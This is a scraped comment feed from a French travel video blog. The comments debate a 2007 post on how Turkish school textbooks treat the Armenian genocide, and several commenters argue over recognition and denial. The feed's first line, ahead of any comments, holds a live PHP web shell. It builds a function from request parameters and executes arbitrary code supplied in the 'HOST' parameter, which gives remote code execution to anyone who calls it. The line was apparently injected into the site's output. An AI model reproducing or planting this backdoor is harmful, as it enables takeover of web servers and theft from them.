if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['779f808d8c20c43908cba936a6f2fef4']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Comments on: [JOUR 5] La question arménienne dans les manuels scolaires http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/ Video Blog Reportage Participatif, live autour du Globe Sun, 15 Jan 2012 20:13:25 +0000 hourly 1 http://wordpress.org/?v= By: Grichka http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-5/#comment-1810 Grichka Fri, 06 Apr 2007 19:27:12 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-1810 Bonjour à tous, Quelques éléments d'information: a) http://collateral-interference.blogspot.com/2007/02/le-ngationnisme-stade-suprme-du.html b) http://collateral-interference.blogspot.com/2007/03/intolrables-menaces-du-ngationnisme.html La reconnaissance du génocide est à mon sens l'intérêt de la Turquie en tout premier lieu. Le jour ou cela sera compris, tout le monde aura fait un gradn pas en avant. Bonjour à tous,

Quelques éléments d’information:

a) http://collateral-interference.....me-du.html
b) http://collateral-interference.....nisme.html

La reconnaissance du génocide est à mon sens l’intérêt de la Turquie en tout premier lieu. Le jour ou cela sera compris, tout le monde aura fait un gradn pas en avant.

]]> By: Armand Arapian http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-5/#comment-1000 Armand Arapian Sun, 18 Mar 2007 19:52:25 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-1000 Les raisons des revendications sont multiples évidemment, à la fois personnelles et générales. Je pense que certains revendiquent les terres, j'en ai entendu parler. Personnellement, je n'ai pas envie d'infliger aux enfants turcs le déracinement qui a été infligé à mes grands-parents, et de plus, mon pays, c'est la France maintenant. Si personnellement j'ai des revendications, c'est qu'on nous laisse enterrer nos morts pour qu'ils cessent de nous hanter: enterrer les morts c'est d'abord les reconnaître, c'est désigner les assassins, et pour toujours dans les livres d'histoire. C'est déjà fait dans plein de pays. J'ai pleuré de joie quand j'ai ouvert le livre d'histoire de mon fils sur les pages qui relatent ce qui s'est passé dans ces années terrible. La Suisse est un grand pays. J'aimerais la même chose en Turquie... J'ai un rêve. J'aimerais, non pas récupérer notre maison d'Ak-Chéhir, ni aucun dédommagement, j'aimerais seulement qu'il y ait écrit sur une plaque à côté de la porte: "Dans cette maison ont vécu Armenak Arabian et Maryam Mesdjian, ici sont nés Verkiné, Movses et Kourken". J'aimerais que devant cette plaque une bougie brûle en permanence. A Ak-Chéhir, il y a encore une église arménienne. Ses fenêtres et sa porte sont condamnées. J'aimerais être là, ce 24 avril, quand les fenêtres murées et la porte voleront en éclats. J'aimerais y entendre la messe de Komitas. J'aimerais ce jour-là y chanter "i vérin yeghousarem...", pour que nos morts puissent se relever encore mais retourner cette fois-ci enfin reposer dans leur terre, dormir en paix, chez eux. J'aimerais pouvoir aller à Ani sans être obligé de donner un bakchich au militaire pour prendre des photos. J'aimerais que les murs des églises couvertes d'herbes folles se relèvent, et que leurs coupoles s'arrondissent à nouveau. J'aimerais qu'il y ait des monuments tout le long de la route vers Deir Ez Zor, et le long de l'Euphrate, pour pouvoir aller pleurer en paix, et honorer tous ceux qui n'auront jamais de sépulture, pouvoir y laisser couler mes larmes enfin, sans avoir peur de recevoir la balle d'un fanatique dans le dos. J'aimerais que ceux qui ne veulent pas comprendre comprennent. J'aimerais serrer la main à un Turc sans me poser de question et sans lui en poser. J'aimerais être léger... Les raisons des revendications sont multiples évidemment, à la fois personnelles et générales. Je pense que certains revendiquent les terres, j’en ai entendu parler. Personnellement, je n’ai pas envie d’infliger aux enfants turcs le déracinement qui a été infligé à mes grands-parents, et de plus, mon pays, c’est la France maintenant.

Si personnellement j’ai des revendications, c’est qu’on nous laisse enterrer nos morts pour qu’ils cessent de nous hanter: enterrer les morts c’est d’abord les reconnaître, c’est désigner les assassins, et pour toujours dans les livres d’histoire. C’est déjà fait dans plein de pays. J’ai pleuré de joie quand j’ai ouvert le livre d’histoire de mon fils sur les pages qui relatent ce qui s’est passé dans ces années terrible. La Suisse est un grand pays. J’aimerais la même chose en Turquie…

J’ai un rêve.

J’aimerais, non pas récupérer notre maison d’Ak-Chéhir, ni aucun dédommagement, j’aimerais seulement qu’il y ait écrit sur une plaque à côté de la porte: “Dans cette maison ont vécu Armenak Arabian et Maryam Mesdjian, ici sont nés Verkiné, Movses et Kourken”. J’aimerais que devant cette plaque une bougie brûle en permanence.

A Ak-Chéhir, il y a encore une église arménienne. Ses fenêtres et sa porte sont condamnées. J’aimerais être là, ce 24 avril, quand les fenêtres murées et la porte voleront en éclats. J’aimerais y entendre la messe de Komitas. J’aimerais ce jour-là y chanter “i vérin yeghousarem…”, pour que nos morts puissent se relever encore mais retourner cette fois-ci enfin reposer dans leur terre, dormir en paix, chez eux.

J’aimerais pouvoir aller à Ani sans être obligé de donner un bakchich au militaire pour prendre des photos. J’aimerais que les murs des églises couvertes d’herbes folles se relèvent, et que leurs coupoles s’arrondissent à nouveau.

J’aimerais qu’il y ait des monuments tout le long de la route vers Deir Ez Zor, et le long de l’Euphrate, pour pouvoir aller pleurer en paix, et honorer tous ceux qui n’auront jamais de sépulture, pouvoir y laisser couler mes larmes enfin, sans avoir peur de recevoir la balle d’un fanatique dans le dos.

J’aimerais que ceux qui ne veulent pas comprendre comprennent.

J’aimerais serrer la main à un Turc sans me poser de question et sans lui en poser.

J’aimerais être léger…

]]> By: hay95 http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-5/#comment-983 hay95 Sun, 18 Mar 2007 15:08:10 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-983 les negationnistes ne cherchent ni la paix ni la reconciliation, et de plus, contribuent a stigmatiser les turcs en general. il serait temps que la loi passe pour qu'on envisage un dialogue serieux les negationnistes ne cherchent ni la paix ni la reconciliation, et de plus, contribuent a stigmatiser les turcs en general.

il serait temps que la loi passe pour qu’on envisage un dialogue serieux

]]> By: Sinan http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-5/#comment-980 Sinan Sun, 18 Mar 2007 14:41:14 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-980 Je constate que les revendications de génocide ont commencées dans les années 80 et s'est amplifié avec le rapprochement de la Turquie avec l'Europe. D'un point de vue géopolitique l'Arménie est enclavée elle voudrait récupérer les territoires de l'est de la Turquie grace à un plan en 3 phases: acceptation du génocide par la Turquie, dédommagement et récupération des territoires de l'est de la Turquie. Est-ce qu'elqu'un me contredira sur ce point? Mais le probleme est qu'en 1915 la Turquie nexistait pas pour ce qui l'ont oublier et la Turquie a été creer en rupture avec l'empire ottoman. Si l'on banalise le mot génocide ne pensez vous que le débat sera unilatéral et que les arméniens aussi lorsqu'ils se sont révoltés ont voulu supprimer les turcs de l'Est pour créer la grande Arménie avec le mont Ararat. Parlons alors pas d'un mais des génocides, et de celui de l'Algérie, de l'Azerbaidjan.... Je constate que les revendications de génocide ont commencées dans les années 80 et s’est amplifié avec le rapprochement de la Turquie avec l’Europe. D’un point de vue géopolitique l’Arménie est enclavée elle voudrait récupérer les territoires de l’est de la Turquie grace à un plan en 3 phases: acceptation du génocide par la Turquie, dédommagement et récupération des territoires de l’est de la Turquie. Est-ce qu’elqu’un me contredira sur ce point? Mais le probleme est qu’en 1915 la Turquie nexistait pas pour ce qui l’ont oublier et la Turquie a été creer en rupture avec l’empire ottoman.

Si l’on banalise le mot génocide ne pensez vous que le débat sera unilatéral et que les arméniens aussi lorsqu’ils se sont révoltés ont voulu supprimer les turcs de l’Est pour créer la grande Arménie avec le mont Ararat. Parlons alors pas d’un mais des génocides, et de celui de l’Algérie, de l’Azerbaidjan….

]]> By: Armand Arapian http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-977 Armand Arapian Sun, 18 Mar 2007 12:05:50 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-977 Oui, Jean, tu as raison en ce qui concerne l'iceberg, et j'en suis bien conscient. Mais si nous n'avions pas intervenu ici, lassés et habitués que nous sommes au discours officiel turc, il n'y aurait eu que celui-là sur cet espace magnifique de discussion que Tristan et Alban mettent à notre disposition. Ce n'est pas admissible. Et puis, le but d'une discussion n'est-il pas de remettre ses idées en place en les "frottant" à celle des autres. Cela a été un bonheur pour moi de rencontrer en pensée certaines personnes ici. Les autres, ben faut faire avec... Quant au mal que cela me fait, il nourrira mon action. Oui, Jean, tu as raison en ce qui concerne l’iceberg, et j’en suis bien conscient. Mais si nous n’avions pas intervenu ici, lassés et habitués que nous sommes au discours officiel turc, il n’y aurait eu que celui-là sur cet espace magnifique de discussion que Tristan et Alban mettent à notre disposition. Ce n’est pas admissible. Et puis, le but d’une discussion n’est-il pas de remettre ses idées en place en les “frottant” à celle des autres. Cela a été un bonheur pour moi de rencontrer en pensée certaines personnes ici. Les autres, ben faut faire avec… Quant au mal que cela me fait, il nourrira mon action.

]]> By: Xavier http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-974 Xavier Sun, 18 Mar 2007 10:32:20 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-974 Révisez les procès Nuremberg Deniz, le mot génocide ne figure pas dans l'attendu de la décision...pour autant, cela ne signifie pas qu'il ne s'agit pas d'un génocide. Vous jouer à l'apprenti enquêteur, vous improvisez un peu d'histoire, et vous tentez même des arguties qui ressemblent de loin à du Droit. Mais la seule chose que vous arrivez à faire, c'est de blessé les gens qui sont les héritiers bien involontaire de ce génocide. Un amis d'origine arménienne m'a un jour dit " je revendique le droit à l'oublie du génocide, mais le négationnisme m'y ramène sans cesse". C'est moins la souffrance de ces nouvelles générations que l'arrogance des négationnistes qui m'a interpellé sur cette question. J'ignorai tout du génocide arménien jusqu'à l'apparition du négationnisme de la Turquie en France (et en Europe plus généralement). Je tient aussi à préciser que je n'ai, comme tout les gens qui s'expriment ici, aucun ressentiment contre les Turcs. C'est le négationnisme qui me révolte. J'ai des amis Turcs et l'un d'eux m'a dit un jour "quand on est en France, on finit par savoir qu'il y a eu un génocide arménien, parce que si on s'en intéresse sa saute aux yeux. Mais ça ne se dit pas sinon les autres Turcs nous traites de traître à la nation". Justice puis fraternité, cela nous sauvera tous ;-) Bravo pour votre reportage Tristan et Alban je vous suit avec un énorme intérêt. Révisez les procès Nuremberg Deniz, le mot génocide ne figure pas dans l’attendu de la décision…pour autant, cela ne signifie pas qu’il ne s’agit pas d’un génocide.
Vous jouer à l’apprenti enquêteur, vous improvisez un peu d’histoire, et vous tentez même des arguties qui ressemblent de loin à du Droit.
Mais la seule chose que vous arrivez à faire, c’est de blessé les gens qui sont les héritiers bien involontaire de ce génocide.
Un amis d’origine arménienne m’a un jour dit ” je revendique le droit à l’oublie du génocide, mais le négationnisme m’y ramène sans cesse”.
C’est moins la souffrance de ces nouvelles générations que l’arrogance des négationnistes qui m’a interpellé sur cette question.

J’ignorai tout du génocide arménien jusqu’à l’apparition du négationnisme de la Turquie en France (et en Europe plus généralement).

Je tient aussi à préciser que je n’ai, comme tout les gens qui s’expriment ici, aucun ressentiment contre les Turcs. C’est le négationnisme qui me révolte. J’ai des amis Turcs et l’un d’eux m’a dit un jour “quand on est en France, on finit par savoir qu’il y a eu un génocide arménien, parce que si on s’en intéresse sa saute aux yeux. Mais ça ne se dit pas sinon les autres Turcs nous traites de traître à la nation”.

Justice puis fraternité, cela nous sauvera tous ;-)

Bravo pour votre reportage Tristan et Alban je vous suit avec un énorme intérêt.

]]> By: P'tit loup http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-973 P'tit loup Sun, 18 Mar 2007 10:07:29 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-973 Bien sûr, vous n'avez pas les moyens de les en empêcher, Piyaz, donc la question ne se pose pas. Par contre, il ne suffit pas d'avoir des oreilles pour écouter, il faut aussi chercher à comprendre ce qu'on vous dit sans interpréter à sa façon. Vous opposez sans cesse les gentils arméniens de Turquie qui ne se plaignent pas de leur passé aux méchants arméniens de la diaspora qui ne vivent que par le passé. Vous avez au moins eu le mérite d'être venue à leur rencontre comme ils l'ont fait eux-mêmes en accompagnant 1 semaine Tristan et Alban à Istanbul Ecoutons donc ensemble ce silence... Bien sûr, vous n’avez pas les moyens de les en empêcher, Piyaz, donc la question ne se pose pas. Par contre, il ne suffit pas d’avoir des oreilles pour écouter, il faut aussi chercher à comprendre ce qu’on vous dit sans interpréter à sa façon. Vous opposez sans cesse les gentils arméniens de Turquie qui ne se plaignent pas de leur passé aux méchants arméniens de la diaspora qui ne vivent que par le passé. Vous avez au moins eu le mérite d’être venue à leur rencontre comme ils l’ont fait eux-mêmes en accompagnant 1 semaine Tristan et Alban à Istanbul
Ecoutons donc ensemble ce silence…

]]> By: piyaz http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-969 piyaz Sun, 18 Mar 2007 08:15:42 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-969 "Vous préférez encore fréquenter 20 ans des arméniens qui ne vous diront pas un mot de leur histoire plutôt que d’écouter une semaine des arméniens vous en parler" Je n'empeche personne de parler. D'ailleurs, je vais me taire et les écouter puisque mon discours les indispose. “Vous préférez encore fréquenter 20 ans des arméniens qui ne vous diront pas un mot de leur histoire plutôt que d’écouter une semaine des arméniens vous en parler”

Je n’empeche personne de parler. D’ailleurs, je vais me taire et les écouter puisque mon discours les indispose.

]]> By: piyaz http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-967 piyaz Sun, 18 Mar 2007 07:12:09 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-967 Armand Arapian, comme il n’y a que les imbéciles qui ne changent pas d’avis, je vais donc vous répondre. Vous dites : « Parler avec vous ou Deniz, n’est pas parler avec des Turcs, mais parler avec Piyaz et Deniz, deux personnes qui ont un discours qui me blesse ». Et bien, sachez que votre discours est loin d’être courtois et qu’il n’invite pas au dialogue. C’est bien vous qui avez écrit : « Mesdames Deniz et consort, par vos discours, vous êtes complices de ces gens-là, complices de ceux qui empêchent les Arméniens de dire leur douleur. Je n’en serait pas fier. Drôles de démocrates… ». Relisez vous. En 3 lignes, vous accusez Deniz et moi-même d’être complices des hackers turcs alors que vous prétendez plus haut que vous ne mettiez pas tous les Turcs dans le même sac. Vous nous accusez de vous empêcher de crier votre douleur, de ne pas être des démocrates. Alors que je n’ai pas soutenu ces hackers, que je ne vous ai pas empêché de vous exprimer. Au contraire, j’ai même regretté que les Arméniens de Turquie ne s’expriment pas davantage, qu’ils ne soient pas suffisamment écoutés. Ce n’est pas moi qui vous accuse de tenir des propos « bas de gamme » ou des propos « tout fiel » mais vous. Donc admettez que vous êtes insultant sans raison si ce n’est votre hostilité de principe. Vous dites « Ma famille entière étaient turque, et je pense qu’il ne se reconnaîtraient pas en vous. Mes amis turcs non plus ». Peut être que les Arméniens que j’ai connus ne se reconnaîtraient pas non plus en vous. Quand je suis venue en France à l’âge de 10 ans, ma première copine était une Arménienne de Turquie. Nous sommes devenues amies car nous étions toutes les deux des enfants d’immigrés ne parlant pas un mot de français et qui plus est originaire du même pays. J’ai également connu un Arménien avec lequel je suis devenue très proche. Comme je l’ai dit ma famille fréquente une famille Arménienne depuis 20 ans. Que savez-vous de moi ? Qu’ai-je dit de si blessant ? Sachez qu’il y a des Arméniens qui arrivent à entretenir des relations amicales avec des Turcs même s'ils ont une autre vision qu’eux sur les événements de 1915. Ca s’appelle être tolérant et accepter que l’autre puisse être différent. Si à chaque fois que vous rencontrez un Turc vous êtes obligé de lui faire passer un test comme vous dites, je vous plains. Si l’Arménien de la diaspora se construit autour de la haine du turc et de la reconnaissance du génocide, c’est dommage pour lui. Hrant Dink à qui que les Arméniens de la diaspora font mine de rendre hommage aujourd’hui leur demandait de se tourner vers l’Arménie pour se reconstruire et non vers une reconnaissance internationale qui pour lui n’avait aucune importance. Quant à la haine du Turc, elle est bien présente dans le cœur des Arméniens, ne prétendez pas le contraire même si vous dites que ce n’est pas le cas pour vous. Vous savez bien que certains d’entre vous ont puisé leur force dans cette haine et nous les Turcs nous ressentons cette haine. Quant aux Arméniens de Turquie, ils ont certainement des reproches et des revendications à formuler envers l’Etat turc mais ils ne haissent pas les Turcs. Hrant Dink disait que la chance des Arméniens de Turquie était justement de vivre avec les Turcs, que vivre avec les Turcs les guérissait de cette haine qu’ils pouvaient ressentir envers un Etat qui avait voulu occulter les événements de 1915 et ignorer leur souffrance. Au passage, je ne vois pas de mal à dire « les Arméniens de Turquie » puisque les minorités nationales en Turquie ont un esprit communautariste et veulent s’affirmer avec leurs différences. Quant au déni des Turcs, mon opinion est que le citoyen Turc ne peut pas savoir ce qui s’est passé en 1915 si on ne le lui dit pas. Je sais qu’il y a eu des massacres mais n’étant pas historienne, je ne peux qualifier ces massacres de génocide si on ne me dit pas d’une manière tàf officielle « l’empire ottoman a commis un génocide ». Qui a suffisamment d’autorité morale pour proclamer une telle vérité ? C’est très simple, soit il faut attendre que la société turque fasse son travail de mémoire ce qui peut prendre pls décennies soit on accélère ce travail de mémoire en demandant l’arbitrage soit d’une cour internationale soit d’une commission mixte d’historiens. C’est ma position et je n’en bougerai même si vous dites que je suis nationaliste ou négationniste. Il est très vrai que je ne veux pas que mon pays porte un si lourd fardeau sans qu'il soit démontré de manière CONTRADICTOIRE que l'empire ottoman a bien commis un génocide. Je vais en rester là. Armand Arapian, comme il n’y a que les imbéciles qui ne changent pas d’avis, je vais donc vous répondre.

Vous dites : « Parler avec vous ou Deniz, n’est pas parler avec des Turcs, mais parler avec Piyaz et Deniz, deux personnes qui ont un discours qui me blesse ». Et bien, sachez que votre discours est loin d’être courtois et qu’il n’invite pas au dialogue. C’est bien vous qui avez écrit :

« Mesdames Deniz et consort, par vos discours, vous êtes complices de ces gens-là, complices de ceux qui empêchent les Arméniens de dire leur douleur. Je n’en serait pas fier. Drôles de démocrates… ». Relisez vous. En 3 lignes, vous accusez Deniz et moi-même d’être complices des hackers turcs alors que vous prétendez plus haut que vous ne mettiez pas tous les Turcs dans le même sac. Vous nous accusez de vous empêcher de crier votre douleur, de ne pas être des démocrates. Alors que je n’ai pas soutenu ces hackers, que je ne vous ai pas empêché de vous exprimer. Au contraire, j’ai même regretté que les Arméniens de Turquie ne s’expriment pas davantage, qu’ils ne soient pas suffisamment écoutés. Ce n’est pas moi qui vous accuse de tenir des propos « bas de gamme » ou des propos « tout fiel » mais vous. Donc admettez que vous êtes insultant sans raison si ce n’est votre hostilité de principe.

Vous dites « Ma famille entière étaient turque, et je pense qu’il ne se reconnaîtraient pas en vous. Mes amis turcs non plus ». Peut être que les Arméniens que j’ai connus ne se reconnaîtraient pas non plus en vous. Quand je suis venue en France à l’âge de 10 ans, ma première copine était une Arménienne de Turquie. Nous sommes devenues amies car nous étions toutes les deux des enfants d’immigrés ne parlant pas un mot de français et qui plus est originaire du même pays. J’ai également connu un Arménien avec lequel je suis devenue très proche. Comme je l’ai dit ma famille fréquente une famille Arménienne depuis 20 ans. Que savez-vous de moi ? Qu’ai-je dit de si blessant ? Sachez qu’il y a des Arméniens qui arrivent à entretenir des relations amicales avec des Turcs même s’ils ont une autre vision qu’eux sur les événements de 1915. Ca s’appelle être tolérant et accepter que l’autre puisse être différent. Si à chaque fois que vous rencontrez un Turc vous êtes obligé de lui faire passer un test comme vous dites, je vous plains.

Si l’Arménien de la diaspora se construit autour de la haine du turc et de la reconnaissance du génocide, c’est dommage pour lui. Hrant Dink à qui que les Arméniens de la diaspora font mine de rendre hommage aujourd’hui leur demandait de se tourner vers l’Arménie pour se reconstruire et non vers une reconnaissance internationale qui pour lui n’avait aucune importance. Quant à la haine du Turc, elle est bien présente dans le cœur des Arméniens, ne prétendez pas le contraire même si vous dites que ce n’est pas le cas pour vous. Vous savez bien que certains d’entre vous ont puisé leur force dans cette haine et nous les Turcs nous ressentons cette haine.

Quant aux Arméniens de Turquie, ils ont certainement des reproches et des revendications à formuler envers l’Etat turc mais ils ne haissent pas les Turcs. Hrant Dink disait que la chance des Arméniens de Turquie était justement de vivre avec les Turcs, que vivre avec les Turcs les guérissait de cette haine qu’ils pouvaient ressentir envers un Etat qui avait voulu occulter les événements de 1915 et ignorer leur souffrance. Au passage, je ne vois pas de mal à dire « les Arméniens de Turquie » puisque les minorités nationales en Turquie ont un esprit communautariste et veulent s’affirmer avec leurs différences.

Quant au déni des Turcs, mon opinion est que le citoyen Turc ne peut pas savoir ce qui s’est passé en 1915 si on ne le lui dit pas. Je sais qu’il y a eu des massacres mais n’étant pas historienne, je ne peux qualifier ces massacres de génocide si on ne me dit pas d’une manière tàf officielle « l’empire ottoman a commis un génocide ». Qui a suffisamment d’autorité morale pour proclamer une telle vérité ? C’est très simple, soit il faut attendre que la société turque fasse son travail de mémoire ce qui peut prendre pls décennies soit on accélère ce travail de mémoire en demandant l’arbitrage soit d’une cour internationale soit d’une commission mixte d’historiens. C’est ma position et je n’en bougerai même si vous dites que je suis nationaliste ou négationniste. Il est très vrai que je ne veux pas que mon pays porte un si lourd fardeau sans qu’il soit démontré de manière CONTRADICTOIRE que l’empire ottoman a bien commis un génocide.

Je vais en rester là.

]]> By: sevan minassian (dartag) http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-964 sevan minassian (dartag) Sun, 18 Mar 2007 01:51:04 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-964 tout est dit, mon cher Jean... "s’abaisser à répondre au bourreau qui dit à la victime: « Prouve-le »" Marc Nichanian, « La perversion historiographique. Une réflexion arménienne » tout est dit, mon cher Jean…

“s’abaisser à répondre au bourreau qui dit à la victime: « Prouve-le »”

Marc Nichanian, « La perversion historiographique. Une réflexion arménienne »

]]> By: Jean Eckian http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-956 Jean Eckian Sun, 18 Mar 2007 00:32:57 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-956 Chers Armand et P'tit Loup, Je vous en prie, ne répondez plus à ce genre de personne. Seuls les icebergs fondent au soleil. En répondant avec vos tripes, vous vous faites encorte du mal. Et c'est ce qu'ils souhaitent. Ça suffit !!! Chers Armand et P’tit Loup,

Je vous en prie, ne répondez plus à ce genre de personne. Seuls les icebergs fondent au soleil.

En répondant avec vos tripes, vous vous faites encorte du mal. Et c’est ce qu’ils souhaitent.

Ça suffit !!!

]]> By: P'tit loup http://www.blogtrotters.fr/2007/03/16/jour-5-la-question-armenienne-dans-les-manuels-scolaires/comment-page-4/#comment-953 P'tit loup Sat, 17 Mar 2007 23:54:53 +0000 http://www.blogtrotters.fr/videoblogreportage/jour-5-la-question-armenienne-dans-les-manuels-scolaires/#comment-953 Piyaz, vous dîtes chercher à comprendre mais je crois que vous ne voulez pas comprendre. Personne n'accuse les turcs des crimes commis par leurs grands-parents mais du négationnisme de leur crimes qu'ils affichent aujourd'hui. Aucun tribunal ne condamne ni ne condamnera un Etat (ottoman ou turc)pour des crimes commis il y a prés d'un siècle mais il continuera à condamner des individus pour la négation actuelle des crimes. Ce n'est pas non plus l'Allemagne qui était au banc des accusés à Nüremberg mais des dignitaires nazis. Votre amalgamme entre un individu et un Etat en dit long sur l'état réel de votre négationnisme. Vous préférez encore fréquenter 20 ans des arméniens qui ne vous diront pas un mot de leur histoire plutôt que d'écouter une semaine des arméniens vous en parler. Vous avez déjà oublié ce qu'Ahmet Kuyas disait sur ce blog : "Jusqu'à tout récemment, on vivait avec des arméniens qu'on côtoyait tous les jours en ignorant tout des massacres dont on ne parlait pas dans les manuels scolaires qui traitaient de la période". Piyaz, vous dîtes chercher à comprendre mais je crois que vous ne voulez pas comprendre. Personne n’accuse les turcs des crimes commis par leurs grands-parents mais du négationnisme de leur crimes qu’ils affichent aujourd’hui. Aucun tribunal ne condamne ni ne condamnera un Etat (ottoman ou turc)pour des crimes commis il y a prés d’un siècle mais il continuera à condamner des individus pour la négation actuelle des crimes. Ce n’est pas non plus l’Allemagne qui était au banc des accusés à Nüremberg mais des dignitaires nazis. Votre amalgamme entre un individu et un Etat en dit long sur l’état réel de votre négationnisme.
Vous préférez encore fréquenter 20 ans des arméniens qui ne vous diront pas un mot de leur histoire plutôt que d’écouter une semaine des arméniens vous en parler. Vous avez déjà oublié ce qu’Ahmet Kuyas disait sur ce blog :
“Jusqu’à tout récemment, on vivait avec des arméniens qu’on côtoyait tous les jours en ignorant tout des massacres dont on ne parlait pas dans les manuels scolaires qui traitaient de la période”.

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